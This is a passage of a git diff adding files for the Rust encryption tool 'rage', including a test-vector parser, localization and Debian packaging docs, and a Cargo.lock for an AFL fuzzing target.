Vec, + armored: bool, + comment: Option, + age_file: Vec, +} + +impl TestFile { + fn parse(filename: &str) -> Self { + let file = File::open(format!("./tests/testdata/testkit/{}", filename)).unwrap(); + let mut r = BufReader::new(file); + let mut line = String::new(); + + fn data<'l>(line: &'l str, prefix: &str) -> &'l str { + line.strip_prefix(prefix).unwrap().trim() + } + + let expect = { + r.read_line(&mut line).unwrap(); + match data(&line, "expect:") { + "success" => { + line.clear(); + r.read_line(&mut line).unwrap(); + let payload = data(&line, "payload:"); + Expect::Success { + payload_sha256: hex::decode(payload).unwrap().try_into().unwrap(), + } + } + "armor failure" => Expect::ArmorFailure, + "header failure" => Expect::HeaderFailure, + "payload failure" => { + line.clear(); + r.read_line(&mut line).unwrap(); + let payload = data(&line, "payload:"); + Expect::PayloadFailure { + payload_sha256: hex::decode(payload).unwrap().try_into().unwrap(), + } + } + "HMAC failure" => Expect::HmacFailure, + "no match" => Expect::NoMatch, + e => panic!("Unknown testkit failure '{}'", e), + } + }; + + let _file_key = { + line.clear(); + r.read_line(&mut line).unwrap(); + hex::decode(data(&line, "file key: ")).unwrap() + }; + + let mut identities = vec![]; + let mut passphrases = vec![]; + let mut armored = false; + let mut comment = None; + loop { + line.clear(); + r.read_line(&mut line).unwrap(); + if line.trim().is_empty() { + break; + } + + let (prefix, data) = line.trim().split_once(": ").unwrap(); + match prefix { + "identity" => identities.push(data.to_owned()), + "passphrase" => passphrases.push(data.to_owned()), + "armored" => armored = data == "yes", + "comment" => comment = Some(data.to_owned()), + _ => panic!("Unknown testkit metadata '{}'", prefix), + } + } + + let mut age_file = vec![]; + r.read_to_end(&mut age_file).unwrap(); + + Self { + expect, + identities, + passphrases, + armored, + comment, + age_file, + } + } +} diff --git a/lib/rage/docs/CONTRIBUTING.md b/lib/rage/docs/CONTRIBUTING.md new file mode 100644 index 0000000..5e84cb3 --- /dev/null +++ b/lib/rage/docs/CONTRIBUTING.md @@ -0,0 +1,47 @@ +# How to contribute to `rage` + +## Localization + +Locale files are stored in the `age/i18n/` and `rage/i18n/` directories. Check +there to see if your locale already exists! + +We use [Fluent](https://projectfluent.org/) for localization; check that website +for details about the format. In general, strings look like this: + +```fluent +some-unique-identifier = Translate the content on this side of the '=' symbol. +another-unique-identifier = + This is a multiline string that can contain one or more paragraphs. Like + above, the 'another-unique-identifier =' part is not translated, but this + text is. + + Individual paragraphs should be line-wrapped at roughly the same number of + characters as the corresponding English text, so that it looks roughly the + same. Remember that {-terms} and {$variables} won't necessarily be the same + length once filled in. +``` + +To update strings for an existing locale `your-locale`: +- Compare `age/i18n/en-US/age.ftl` with `age/i18n/your-locale/age.ftl`, and copy + over any missing strings (look for unique identifiers that don't appear in the + file for `your-locale`). +- Compare `rage/i18n/en-US/age.ftl` with `rage/i18n/your-locale/age.ftl`, and + copy over any missing strings. +- Edit `age/i18n/your-locale/age.ftl` and `rage/i18n/your-locale/age.ftl` to + replace the English text with the appropriate translations for your locale. + +To translate strings into a new locale `your-locale`: +- Create the directories `age/i18n/your-locale/` and `rage/i18n/your-locale/`. +- Copy `age/i18n/en-US/age.ftl` to `age/i18n/your-locale/age.ftl`. +- Copy `rage/i18n/en-US/age.ftl` to `rage/i18n/your-locale/age.ftl`. +- Edit `age/i18n/your-locale/age.ftl` and `rage/i18n/your-locale/age.ftl` to + replace the English text with the appropriate translations for your locale. + +To test locally, use `cargo run --bin BINARY_NAME -- ARGUMENTS`. If you don't +have `your-locale` enabled globally, set the `LANG` environment variable to +force it: +``` +$ LANG=your-locale cargo run --bin rage -- --help +$ LANG=your-locale cargo run --bin rage -- ARGUMENTS +$ LANG=your-locale cargo run --bin rage-keygen -- --help +``` diff --git a/lib/rage/docs/debian.md b/lib/rage/docs/debian.md new file mode 100644 index 0000000..6312543 --- /dev/null +++ b/lib/rage/docs/debian.md @@ -0,0 +1,13 @@ +# Building Debian packages for rage + +## Requirements + +``` +cargo install cargo-deb +``` + +## Process + +``` +cargo deb --package rage +``` diff --git a/lib/rage/fuzz-afl/.gitignore b/lib/rage/fuzz-afl/.gitignore new file mode 100644 index 0000000..665b7e1 --- /dev/null +++ b/lib/rage/fuzz-afl/.gitignore @@ -0,0 +1,3 @@ +target +in +out diff --git a/lib/rage/fuzz-afl/Cargo.lock b/lib/rage/fuzz-afl/Cargo.lock new file mode 100644 index 0000000..8622c91 --- /dev/null +++ b/lib/rage/fuzz-afl/Cargo.lock @@ -0,0 +1,1237 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "aead" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" +dependencies = [ + "crypto-common", + "generic-array", +] + +[[package]] +name = "afl" +version = "0.15.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80bb240a3b9ff18002142c1a736e98046461d51a694d687c3e7329b456ab0fe4" +dependencies = [ + "home", + "libc", + "rustc_version", + "xdg", +] + +[[package]] +name = "age" +version = "0.11.0" +dependencies = [ + "age-core", + "base64", + "bech32", + "chacha20poly1305", + "cookie-factory", + "hmac", + "i18n-embed", + "i18n-embed-fl", + "lazy_static", + "nom", + "pin-project", + "rand", + "rust-embed", + "scrypt", + "sha2", + "subtle", + "x25519-dalek", + "zeroize", +] + +[[package]] +name = "age-core" +version = "0.11.0" +dependencies = [ + "base64", + "chacha20poly1305", + "cookie-factory", + "hkdf", + "io_tee", + "nom", + "rand", + "secrecy", + "sha2", +] + +[[package]] +name = "age-fuzz-afl" +version = "0.0.0" +dependencies = [ + "afl", + "age", +] + +[[package]] +name = "arc-swap" +version = "1.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69f7f8c3906b62b754cd5326047894316021dcfe5a194c8ea52bdd94934a3457" + +[[package]] +name = "autocfg" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26" + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "basic-toml" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "823388e228f614e9558c6804262db37960ec8821856535f5c3f59913140558f8" +dependencies = [ + "serde", +] + +[[package]] +name = "bech32" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d86b93f97252c47b41663388e6d155714a9d0c398b99f1005cbc5f978b29f445" + +[[package]] +name = "bitflags" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chacha20" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "chacha20poly1305" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10cd79432192d1c0f4e1a0fef9527696cc039165d729fb41b3f4f4f354c2dc35" +dependencies = [ + "aead", + "chacha20", + "cipher", + "poly1305", + "zeroize", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", + "zeroize", +] + +[[package]] +name = "cookie-factory" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9885fa71e26b8ab7855e2ec7cae6e9b380edff76cd052e07c683a0319d51b3a2" +dependencies = [ + "futures", +] + +[[package]] +name = "cpufeatures" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "608697df725056feaccfa42cffdaeeec3fccc4ffc38358ecd19b243e716a78e0" +dependencies = [ + "libc", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures", + "curve25519-dalek-derive", + "fiat-crypto", + "rustc_version", + "subtle", + "zeroize", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "dashmap" +version = "6.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5041cc499144891f3790297212f32a74fb938e5136a14943f338ef9e0ae276cf" +dependencies = [ + "cfg-if", + "crossbeam-utils", + "hashbrown", + "lock_api", + "once_cell", + "parking_lot_core", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", + "subtle", +] + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + +[[package]] +name = "find-crate" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59a98bbaacea1c0eb6a0876280051b892eb73594fd90cf3b20e9c817029c57d2" +dependencies = [ + "toml", +] + +[[package]] +name = "fluent" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb74634707bebd0ce645a981148e8fb8c7bccd4c33c652aeffd28bf2f96d555a" +dependencies = [ + "fluent-bundle", + "unic-langid", +] + +[[package]] +name = "fluent-bundle" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fe0a21ee80050c678013f82edf4b705fe2f26f1f9877593d13198612503f493" +dependencies = [ + "fluent-langneg", + "fluent-syntax", + "intl-memoizer", + "intl_pluralrules", + "rustc-hash", + "self_cell 0.10.3", + "smallvec", + "unic-langid", +] + +[[package]] +name = "fluent-langneg" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c4ad0989667548f06ccd0e306ed56b61bd4d35458d54df5ec7587c0e8ed5e94" +dependencies = [ + "unic-langid", +] + +[[package]] +name = "fluent-syntax" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a530c4694a6a8d528794ee9bbd8ba0122e779629ac908d15ad5a7ae7763a33d" +dependencies = [ + "thiserror", +] + +[[package]] +name = "futures" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-executor" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" + +[[package]] +name = "futures-macro" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "hashbrown" +version = "0.14.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" + +[[package]] +name = "hkdf" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" +dependencies = [ + "hmac", +] + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "home" +version = "0.5.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "i18n-config" +version = "0.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e88074831c0be5b89181b05e6748c4915f77769ecc9a4c372f88b169a8509c9" +dependencies = [ + "basic-toml", + "log", + "serde", + "serde_derive", + "thiserror", + "unic-langid", +] + +[[package]] +name = "i18n-embed" +version = "0.15.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7839d8c7bb8da7bd58c1112d3a1aeb7f178ff3df4ae87783e758ca3bfb750b7" +dependencies = [ + "arc-swap", + "fluent", + "fluent-langneg", + "fluent-syntax", + "i18n-embed-impl", + "intl-memoizer", + "lazy_static", + "log", + "parking_lot", + "rust-embed", + "thiserror", + "unic-langid", + "walkdir", +] + +[[package]] +name = "i18n-embed-fl" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6e9571c3cba9eba538eaa5ee40031b26debe76f0c7e17bafc97ea57a76cd82e" +dependencies = [ + "dashmap", + "find-crate", + "fluent", + "fluent-syntax", + "i18n-config", + "i18n-embed", + "lazy_static", + "proc-macro-error2", + "proc-macro2", + "quote", + "strsim", + "syn", + "unic-langid", +] + +[[package]] +name = "i18n-embed-impl" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f2cc0e0523d1fe6fc2c6f66e5038624ea8091b3e7748b5e8e0c84b1698db6c2" +dependencies = [ + "find-crate", + "i18n-config", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "inout" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5" +dependencies = [ + "generic-array", +] + +[[package]] +name = "intl-memoizer" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe22e020fce238ae18a6d5d8c502ee76a52a6e880d99477657e6acc30ec57bda" +dependencies = [ + "type-map", + "unic-langid", +] + +[[package]] +name = "intl_pluralrules" +version = "7.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "078ea7b7c29a2b4df841a7f6ac8775ff6074020c6776d48491ce2268e068f972" +dependencies = [ + "unic-langid", +] + +[[package]] +name = "io_tee" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b3f7cef34251886990511df1c61443aa928499d598a9473929ab5a90a527304" + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "libc" +version = "0.2.161" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9489c2807c139ffd9c1794f4af0ebe86a828db53ecdc7fea2111d0fed085d1" + +[[package]] +name = "lock_api" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24" + +[[package]] +name = "memchr" +version = "2.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3" + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "once_cell" +version = "1.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775" + +[[package]] +name = "opaque-debug" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" + +[[package]] +name = "parking_lot" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1bf18183cf54e8d6059647fc3063646a1801cf30896933ec2311622cc4b9a27" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e401f977ab385c9e4e3ab30627d6f26d00e2c73eef317493c4ec6d468726cf8" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets", +] + +[[package]] +name = "pbkdf2" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ed6a7761f76e3b9f92dfb0a60a6a6477c61024b775147ff0973a02653abaf2" +dependencies = [ + "digest", + "hmac", +] + +[[package]] +name = "pin-project" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be57f64e946e500c8ee36ef6331845d40a93055567ec57e8fae13efd33759b95" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c0f5fad0874fc7abcd4d750e76917eaebbecaa2c20bde22e1dbeeba8beb758c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "915a1e146535de9163f3987b8944ed8cf49a18bb0056bcebcdcece385cece4ff" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "poly1305" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf" +dependencies = [ + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77957b295656769bb8ad2b6a6b09d897d94f05c41b069aede1fcdaa675eaea04" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "proc-macro-error-attr2" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5" +dependencies = [ + "proc-macro2", + "quote", +] + +[[package]] +name = "proc-macro-error2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802" +dependencies = [ + "proc-macro-error-attr2", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "proc-macro2" +version = "1.0.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f139b0662de085916d1fb67d2b4169d1addddda1919e696f3252b740b629986e" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "redox_syscall" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b6dfecf2c74bce2466cabf93f6664d6998a69eb21e39f4207930065b27b771f" +dependencies = [ + "bitflags", +] + +[[package]] +name = "rust-embed" +version = "8.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa66af4a4fdd5e7ebc276f115e895611a34739a9c1c01028383d612d550953c0" +dependencies = [ + "rust-embed-impl", + "rust-embed-utils", + "walkdir", +] + +[[package]] +name = "rust-embed-impl" +version = "8.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6125dbc8867951125eec87294137f4e9c2c96566e61bf72c45095a7c77761478" +dependencies = [ + "proc-macro2", + "quote", + "rust-embed-utils", + "syn", + "walkdir", +] + +[[package]] +name = "rust-embed-utils" +version = "8.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e5347777e9aacb56039b0e1f28785929a8a3b709e87482e7442c72e7c12529d" +dependencies = [ + "sha2", + "walkdir", +] + +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "salsa20" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97a22f5af31f73a954c10289c93e8a50cc23d971e80ee446f1f6f7137a088213" +dependencies = [ + "cipher", +] + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "scrypt" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0516a385866c09368f0b5bcd1caff3366aace790fcd46e2bb032697bb172fd1f" +dependencies = [ + "pbkdf2", + "salsa20", + "sha2", +] + +[[package]] +name = "secrecy" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e891af845473308773346dc847b2c23ee78fe442e0472ac50e22a18a93d3ae5a" +dependencies = [ + "zeroize", +] + +[[package]] +name = "self_cell" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e14e4d63b804dc0c7ec4a1e52bcb63f02c7ac94476755aa579edac21e01f915d" +dependencies = [ + "self_cell 1.0.4", +] + +[[package]] +name = "self_cell" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d369a96f978623eb3dc28807c4852d6cc617fed53da5d3c400feff1ef34a714a" + +[[package]] +name = "semver" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b" + +[[package]] +name = "serde" +version = "1.0.214" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f55c3193aca71c12ad7890f1785d2b73e1b9f63a0bbc353c08ef26fe03fc56b5" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.214" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de523f781f095e28fa605cdce0f8307e451cc0fd14e2eb4cd2e98a355b147766" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.87" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25aa4ce346d03a6dcd68dd8b4010bcb74e54e62c90c573f394c46eae99aba32d" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "thiserror" +version = "1.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d171f59dbaa811dbbb1aee1e73db92ec2b122911a48e1390dfe327a821ddede" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.66" +source = 